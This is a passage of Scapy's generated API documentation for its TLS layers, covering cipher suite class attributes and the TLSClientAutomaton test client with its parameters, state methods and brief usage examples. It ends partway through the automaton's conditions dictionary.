


	
hmac_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L100-L101]

	alias of Hmac_MD5






	
key_block_len = 32

	




	
kx_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L67-L70]

	alias of KX_RSA






	
name = 'TLS_RSA_WITH_NULL_MD5'

	




	
usable = True

	




	
val = 1

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_NULL_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L153-L154]

	Bases: _GenericCipherSuite


	
cipher_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/cipher_stream.py#L114-L132]

	alias of Cipher_NULL






	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L55-L57]

	alias of Hash_SHA






	
hmac_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L104-L105]

	alias of Hmac_SHA






	
key_block_len = 40

	




	
kx_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L67-L70]

	alias of KX_RSA






	
name = 'TLS_RSA_WITH_NULL_SHA'

	




	
usable = True

	




	
val = 2

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_NULL_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L373-L374]

	Bases: _GenericCipherSuite


	
cipher_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/cipher_stream.py#L114-L132]

	alias of Cipher_NULL






	
hash_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/hash.py#L65-L67]

	alias of Hash_SHA256






	
hmac_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/h_mac.py#L112-L113]

	alias of Hmac_SHA256






	
key_block_len = 64

	




	
kx_alg[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L67-L70]

	alias of KX_RSA






	
name = 'TLS_RSA_WITH_NULL_SHA256'

	




	
usable = True

	




	
val = 59

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_RC4_128_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L161-L162]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 4

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_RC4_128_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L165-L166]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 5

	








	
class scapy.layers.tls.crypto.suites.TLS_RSA_WITH_SEED_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L521-L522]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 150

	








	
class scapy.layers.tls.crypto.suites.TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L827-L828]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49180

	








	
class scapy.layers.tls.crypto.suites.TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L839-L840]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49183

	








	
class scapy.layers.tls.crypto.suites.TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L851-L852]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49186

	








	
class scapy.layers.tls.crypto.suites.TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L823-L824]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49179

	








	
class scapy.layers.tls.crypto.suites.TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L835-L836]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49182

	








	
class scapy.layers.tls.crypto.suites.TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L847-L848]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49185

	








	
class scapy.layers.tls.crypto.suites.TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L819-L820]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49178

	








	
class scapy.layers.tls.crypto.suites.TLS_SRP_SHA_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L831-L832]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49181

	








	
class scapy.layers.tls.crypto.suites.TLS_SRP_SHA_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L843-L844]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49184

	








	
scapy.layers.tls.crypto.suites.get_algs_from_ciphersuite_name(ciphersuite_name)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L20-L66]

	Return the 3-tuple made of the Key Exchange Algorithm class, the Cipher
class and the HMAC class, through the parsing of the ciphersuite name.






	
scapy.layers.tls.crypto.suites.get_usable_ciphersuites(li, kx)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1299-L1318]

	From a list of proposed ciphersuites, this function returns a list of
usable cipher suites, i.e. for which key exchange, cipher and hash
algorithms are known to be implemented and usable in current version of the
TLS extension. The order of the cipher suites in the list returned by the
function matches the one of the proposal.








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.all

Aggregate top level objects from all TLS modules.




            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.automaton

The _TLSAutomaton class provides methods common to both TLS client and server.




            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.automaton_cli

TLS client automaton. This makes for a primitive TLS stack.
Obviously you need rights for network access.

We support versions SSLv2 to TLS 1.3, along with many features.

In order to run a client to tcp/50000 with one cipher suite of your choice:

from scapy.layers.tls import *
ch = TLSClientHello(ciphers=<int code of the cipher suite>)
t = TLSClientAutomaton(dport=50000, client_hello=ch)
t.run()





You can also use it as a SuperSocket using the tlslink io:

from scapy.layers.tls import *
a = TLSClientAutomaton.tlslink(Raw, server="scapy.net", dport=443)
a.send(HTTP()/HTTPRequest())
while True:
    a.recv()





You can also use the io with a TCPSession, e.g. to get an HTTPS answer:

from scapy.all import *
from scapy.layers.http import *
from scapy.layers.tls.automaton_cli import *
a = TLSClientAutomaton.tlslink(HTTP, server="www.google.com", dport=443)
pkt = a.sr1(HTTP()/HTTPRequest(), session=TCPSession(app=True),
            timeout=2)






	
class scapy.layers.tls.automaton_cli.TLSClientAutomaton(self, server='127.0.0.1', dport=4433, server_name=None, mycert=None, mykey=None, client_hello=None, version=None, resumption_master_secret=None, session_ticket_file_in=None, session_ticket_file_out=None, psk=None, psk_mode=None, data=None, ciphersuite=None, curve=None, supported_groups=None, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L84-L1441]

	Bases: _TLSAutomaton

A simple TLS test client automaton. Try to overload some states or
conditions and see what happens on the other side.

Rather than with an interruption, the best way to stop this client is by
typing ‘quit’. This won’t be a message sent to the server.


	Parameters:

	
	server – the server IP or hostname. defaults to 127.0.0.1


	dport – the server port. defaults to 4433


	server_name – the SNI to use. It does not need to be set


	mycert – 


	mykey – may be provided as filenames. They will be used in the (or post)
handshake, should the server ask for client authentication.


	client_hello – may hold a TLSClientHello or SSLv2ClientHello to be
sent to the server. This is particularly useful for extensions
tweaking. If not set, a default is populated accordingly.


	version – is a quicker way to advertise a protocol version (“sslv2”,
“tls1”, “tls12”, etc.) It may be overridden by the previous
‘client_hello’.


	data – is a list of raw data to be sent to the server once the
handshake has been completed. Both ‘stop_server’ and ‘quit’ will
work this way.









	
ADDED_CERTIFICATEVERIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ADDED_CHANGECIPHERSPEC(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ADDED_CLIENTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ADDED_CLIENTDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ADDED_CLIENTFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ADDED_CLIENTHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
ADDED_CLIENTKEYEXCHANGE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
CLOSE_NOTIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
CONNECT(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
FINAL(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_CERTIFICATEREQUEST(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_CHANGECIPHERSPEC(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_SERVERCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_SERVERDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_SERVERFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_SERVERHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_SERVERHELLODONE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
HANDLED_SERVERKEYEXCHANGE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
INITIAL(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
INIT_TLS_SESSION(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
MISSING_SERVERCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
MISSING_SERVERHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
MISSING_SERVERKEYEXCHANGE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
PREPARE_CLIENTFLIGHT1(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
PREPARE_CLIENTFLIGHT2(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
RECEIVED_SERVERDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
RECEIVED_SERVERFLIGHT1(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
RECEIVED_SERVERFLIGHT2(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SENT_CLIENTDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SENT_CLIENTFLIGHT1(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SENT_CLIENTFLIGHT2(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SOCKET_CLOSED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_ADDED_CLIENTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_ADDED_CLIENTDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_ADDED_CLIENTFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_ADDED_CLIENTHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_ADDED_CLIENTMASTERKEY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_CLOSE_NOTIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_HANDLED_REQUESTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_HANDLED_SERVERDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_HANDLED_SERVERFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_HANDLED_SERVERHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_HANDLED_SERVERVERIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_MISSING_SERVERFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_MISSING_SERVERHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_MISSING_SERVERVERIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_PREPARE_CLIENTHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_RECEIVED_SERVERDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_RECEIVED_SERVERFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_RECEIVED_SERVERHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_RECEIVED_SERVERVERIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_SENT_CLIENTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_SENT_CLIENTDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_SENT_CLIENTFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_SENT_CLIENTHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_SENT_CLIENTMASTERKEY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_WAITING_CLIENTDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_WAITING_SERVERDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_WAITING_SERVERFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_WAITING_SERVERHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SSLv2_WAITING_SERVERVERIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
STOP(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_ADDED_CERTIFICATEVERIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_ADDED_CLIENTCERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_ADDED_CLIENTFINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_ADDED_CLIENTHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_HANDLED_ALERT_FROM_SERVERFLIGHT1(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_HANDLED_CERTIFICATE(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_HANDLED_CERTIFICATEREQUEST(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_HANDLED_CERTIFICATE_VERIFY(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_HANDLED_CHANGE_CIPHER_SPEC(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_HANDLED_ENCRYPTEDEXTENSIONS(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_HANDLED_FINISHED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_HANDLED_SERVERHELLO(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_HELLO_RETRY_REQUESTED(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_PREPARE_CLIENTFLIGHT2(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_RECEIVED_NEW_SESSION_TICKET(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_RECEIVED_POST_AUTHENTICATION_REQUEST(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_RECEIVED_SERVERFLIGHT1(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_SENDING_CLIENTFLIGHT1(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_SENT_CLIENTFLIGHT1(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_SENT_CLIENTFLIGHT2(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_START(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
TLS13_WAITING_SERVERFLIGHT1(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
WAITING_SERVERDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
WAITING_SERVERFLIGHT1(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
WAITING_SERVERFLIGHT2(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
WAIT_CLIENTDATA(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
actions: Dict[str, List[_StateWrapper]] = {'_socket': [], 'add_ClientData': [], 'close_session': [], 'missing_ServerCertificate': [], 'missing_ServerHello': [], 'missing_ServerKeyExchange': [], 'no_more_ClientData': [], 'should_add_ChangeCipherSpec_from_CertificateVerify': [], 'should_add_ChangeCipherSpec_from_ClientKeyExchange': [], 'should_add_ClientCertificate': [], 'should_add_ClientFinished': [], 'should_add_ClientHello': [], 'should_add_ClientKeyExchange_from_ClientCertificate': [], 'should_add_ClientKeyExchange_from_ClientFlight2': [], 'should_add_ClientVerify': [], 'should_fail_CertificateRequest_postauth': [], 'should_handle_CertificateRequest_from_ServerCertificate': [], 'should_handle_CertificateRequest_from_ServerKeyExchange': [], 'should_handle_CertificateRequest_postauth': [], 'should_handle_ChangeCipherSpec': [], 'should_handle_Finished': [], 'should_handle_NewSessionTicket': [], 'should_handle_ServerCertificate': [], 'should_handle_ServerData': [], 'should_handle_ServerHello': [], 'should_handle_ServerHelloDone_from_CertificateRequest': [], 'should_handle_ServerHelloDone_from_ServerCertificate': [], 'should_handle_ServerHelloDone_from_ServerKeyExchange': [], 'should_handle_ServerKeyExchange_from_ServerCertificate': [], 'should_send_CertificateRequest_postauth': [], 'should_send_ClientData': [], 'should_send_ClientFlight1': [], 'should_send_ClientFlight2': [], 'should_store_session_ticket_file': [], 'should_wait_ClientData': [], 'sslv2_add_ClientData': [], 'sslv2_close_session': [], 'sslv2_missing_ServerFinished': [], 'sslv2_missing_ServerHello': [], 'sslv2_missing_ServerVerify': [], 'sslv2_no_more_ClientData': [], 'sslv2_should_add_ClientCertificate': [], 'sslv2_should_add_ClientFinished_from_NoServerVerify': [], 'sslv2_should_add_ClientFinished_from_ServerVerify': [], 'sslv2_should_add_ClientHello': [], 'sslv2_should_add_ClientMasterKey': [], 'sslv2_should_handle_RequestCertificate': [], 'sslv2_should_handle_ServerData': [], 'sslv2_should_handle_ServerFinished': [], 'sslv2_should_handle_ServerHello': [], 'sslv2_should_handle_ServerVerify': [], 'sslv2_should_send_ClientCertificate': [], 'sslv2_should_send_ClientData': [], 'sslv2_should_send_ClientFinished': [], 'sslv2_should_send_ClientHello': [], 'sslv2_should_send_ClientMasterKey': [], 'sslv2_should_wait_ClientData': [], 'sslv2_should_wait_ServerFinished_from_ServerVerify': [], 'tls13_missing_CertificateVerify': [], 'tls13_missing_ServerHello': [], 'tls13_missing_encryptedExtension': [], 'tls13_should_add_ClientCertificate': [], 'tls13_should_add_ClientCertificateVerify': [], 'tls13_should_add_ClientFinished': [], 'tls13_should_add_ClientHello': [], 'tls13_should_add_ClientHello_Retry': [], 'tls13_should_handle_AlertMessage_': [], 'tls13_should_handle_CertificateVerify': [], 'tls13_should_handle_Certificate_from_CertificateRequest': [], 'tls13_should_handle_ChangeCipherSpec': [], 'tls13_should_handle_ChangeCipherSpec_after_tls13_retry': [], 'tls13_should_handle_HelloRetryRequest': [], 'tls13_should_handle_ServerHello': [], 'tls13_should_handle_certificateRequest_from_encryptedExtensions': [], 'tls13_should_handle_certificate_from_encryptedExtensions': [], 'tls13_should_handle_encrytpedExtensions': [], 'tls13_should_handle_finished': [], 'tls13_should_handle_finished_from_encryptedExtensions': [], 'tls13_should_send_ClientFlight1': [], 'tls13_should_send_ClientFlight2': [], 'tls13_should_skip_ClientCertificateVerify': []}

	




	
add_ClientData()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L590-L626]

	The user may type in:
GET / HTTP/1.1rnHost: testserver.comrnrn
Special characters are handled so that it becomes a valid HTTP request.






	
breakpoints: Set[_StateWrapper]

	




	
close_session()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/automaton_cli.py#L764-L772]

	




	
conditions: Dict[str, List[_StateWrapper]] = {'ADDED_CERTIFICATEVERIFY': [<function TLSClientAutomaton.should_add_ChangeCipherSpec_from_CertificateVerify>], 'ADDED_CHANGECIPHERSPEC': [<function TLSClientAutomaton.should_add_ClientFinished>], 'ADDED_CLIENTCERTIFICATE': [<function TLSClientAutomaton.should_add_ClientKeyExchange_from_ClientCertificate>], 'ADDED_CLIENTDATA': [<function TLSClientAutomaton.should_send_ClientData>], 'ADDED_CLIENTFINISHED': [<function TLSClientAutomaton.should_send_ClientFlight2>], 'ADDED_CLIENTHELLO': [<function TLSClientAutomaton.should_send_ClientFlight1>], 'ADDED_CLIENTKEYEXCHANGE': [<function TLSClientAutomaton.should_add_ClientVerify>, <function TLSClientAutomaton.should_add_ChangeCipherSpec_from_ClientKeyExchange>], 'CLOSE_NOTIFY': [<function TLSClientAutomaton.close_session>], 'CONNECT': [], 'FINAL': [], 'HANDLED_CERTIFICATEREQUEST': [<function TLSClientAutomaton.should_handle_ServerHelloDone_from_CertificateRequest>], 'HANDLED_CHANGECIPHERSPEC': [<function TLSClientAutomaton.should_handle_Finished>], 'HANDLED_SERVERCERTIFICATE': [<function TLSClientAutomaton.should_handle_ServerKeyExchange_from_ServerCertificate>, <function TLSClientAutomaton.missing_ServerKeyExchange>, <function TLSClientAutomaton.should_handle_CertificateRequest_from_ServerCertificate>, <function TLSClientAutomaton.should_handle_ServerHelloDone_from_ServerCertificate>], 'HANDLED_SERVERDATA': [], 'HANDLED_SERVERFINISHED': [<function TLSClientAutomaton.should_wait_ClientData>], 'HANDLED_SERVERHELLO': [<function TLSClientAutomaton.should_handle_ServerCertificate>, <function TLSClientAutomaton.missing_ServerCertificate>], 'HANDLED_SERVERHELLODONE': [], 'HANDLED_SERVERKEYEXCHANGE': [<function TLSClientAutomaton.should_handle_ServerHelloDone_from_ServerKeyExchange>, <function TLSClientAutomaton.should_handle_CertificateRequest_from_ServerKeyExchange>], 'INITIAL': [], 'INIT_TLS_SESSION': [], 'MISSING_SERVERCERTIFICATE': [], 'MISSING_SERVERHELLO': [], 'MISSING_SERVERKEYEXCHANGE': [], 'PREPARE_CLIENTFLIGHT1': 